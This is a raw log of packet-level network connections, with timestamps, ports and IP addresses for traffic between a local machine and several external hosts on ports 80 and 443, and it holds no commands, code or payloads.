Dec 10, 2024 05:10:41.497322083 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.497363091 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.498084068 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.498130083 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.498239040 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.498344898 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.499221087 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.499233961 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.499260902 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.499275923 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.500083923 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.500096083 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.500128984 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.500154018 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.500951052 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.501013041 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.501094103 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.501214981 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.563657045 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.563715935 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.563779116 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.563852072 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.564106941 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.564157009 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.564203978 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.564286947 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.565053940 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.565098047 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.565169096 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.565212011 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.566044092 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.566090107 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.566164970 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.566317081 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.566953897 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.566994905 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.567101955 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.567168951 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.567929983 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.567976952 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.568078041 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.568125963 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.568873882 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.568932056 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.568968058 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.569066048 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.569833994 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.569883108 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.569914103 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.570014954 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.570765018 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.570810080 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.570883036 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.570928097 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.571716070 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.571764946 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.571844101 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.571948051 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.572668076 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.572719097 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.572722912 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.572829008 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.573602915 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.573651075 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.573715925 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.573848009 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.574561119 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.574610949 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.574678898 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.574794054 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.575501919 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.575563908 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.575565100 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.575601101 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.576442957 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.576486111 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.576581001 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.576620102 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.577403069 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.577452898 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.577478886 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.577512026 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.578353882 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.578387976 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.578448057 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.578489065 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.579288960 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.579323053 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.579449892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.579600096 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.580264091 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.580305099 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.580377102 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.580415964 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.581209898 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.581259012 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.581418991 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.581459999 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.582137108 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.582197905 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.582257032 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.582310915 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.583089113 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.583178043 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.583215952 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.583290100 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.584024906 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.584069967 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.584152937 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.584280014 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.584997892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.585043907 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.585073948 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.585115910 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.585942030 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.585988045 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.586003065 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.586041927 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.586873055 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.586921930 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.586929083 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.586962938 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.587826014 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.587873936 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.587902069 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.587939978 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.629487038 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.629559040 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.629580021 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.629693031 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.629895926 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.629942894 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.630058050 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.630105972 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.630867004 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.630909920 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.630985022 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.631050110 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.631810904 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.631858110 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.631922960 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.631963015 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.632756948 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.632803917 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.632864952 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.633094072 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.633713961 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.633758068 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.633816957 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.633857965 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.634654999 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.634704113 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.634761095 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.635117054 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.635596037 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.635668993 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.635716915 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.636562109 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.636668921 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.636710882 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.637491941 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.637563944 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.637595892 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.637634039 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.638437986 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.638482094 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.638540030 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.638580084 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.639379025 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.639416933 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:41.639467955 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:41.639568090 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:42.102233887 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:42.102310896 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:42.102420092 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:42.103609085 CET	49913	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:42.103634119 CET	443	49913	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:42.311392069 CET	80	49914	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:42.311455011 CET	49914	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:42.314630985 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:42.315078974 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:42.434535027 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:42.434546947 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:42.434597015 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:42.434644938 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:42.444474936 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:42.451478004 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:42.451555967 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:42.456235886 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:42.456252098 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:42.456465006 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:42.509752035 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:42.563802004 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:42.661112070 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:42.661130905 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:42.661361933 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:43.373121977 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:43.373372078 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:43.373480082 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:43.439740896 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:43.439765930 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:43.439775944 CET	49915	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:43.439783096 CET	443	49915	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:43.587543964 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:43.706836939 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:43.766077995 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766136885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766148090 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766166925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.766216040 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.766299009 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766310930 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766321898 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766334057 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766350985 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.766386032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.766468048 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766495943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766508102 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.766536951 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.766563892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.808614969 CET	49925	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.808664083 CET	443	49925	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.808732033 CET	49926	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.808762074 CET	443	49926	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.808782101 CET	49925	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.808816910 CET	49926	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.808852911 CET	49927	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.808861017 CET	443	49927	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.808901072 CET	49927	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.808990002 CET	49928	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.809026957 CET	443	49928	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.809077024 CET	49928	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.810004950 CET	49928	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.810019016 CET	443	49928	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.810146093 CET	49927	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.810163021 CET	443	49927	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.810682058 CET	49926	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.810694933 CET	443	49926	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.811656952 CET	49925	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:10:43.811674118 CET	443	49925	142.250.181.100	192.168.2.5
Dec 10, 2024 05:10:43.885461092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.885483027 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.885565996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.885565996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.958108902 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.958164930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.958278894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.958342075 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.962356091 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.962419987 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.962447882 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.962490082 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.968844891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.968967915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.969022989 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.977229118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.977336884 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.977399111 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.985553980 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.985608101 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.985673904 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.993997097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.994044065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:43.994431019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:43.994497061 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.002307892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.002351046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.002459049 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.002506018 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.010668993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.010711908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.010721922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.010762930 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.019017935 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.019077063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.019109964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.019169092 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.027508020 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.027554035 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.027587891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.027626991 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.035063028 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.035100937 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.035115957 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.035139084 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.071170092 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:44.071229935 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:44.134799004 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:44.134825945 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:44.134954929 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:44.135637045 CET	49934	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:44.135648012 CET	443	49934	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:44.150082111 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.150152922 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.150221109 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.150270939 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.151525974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.151572943 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.151627064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.152494907 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.156506062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.156549931 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.156582117 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.156622887 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.161489964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.161535025 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.161623001 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.161706924 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.166452885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.166508913 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.166548014 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.166589975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.171186924 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.171266079 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.171294928 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.172583103 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.175950050 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.176012039 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.176043987 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.176095009 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.180705070 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.180828094 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.180886030 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.185499907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.185543060 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.185599089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.185640097 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.190203905 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.190325975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.190382004 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.194988012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.195029974 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.195105076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.195180893 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.199722052 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.199780941 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.199827909 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.199898958 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.204483986 CET	80	49921	185.215.113.16	192.168.2.5
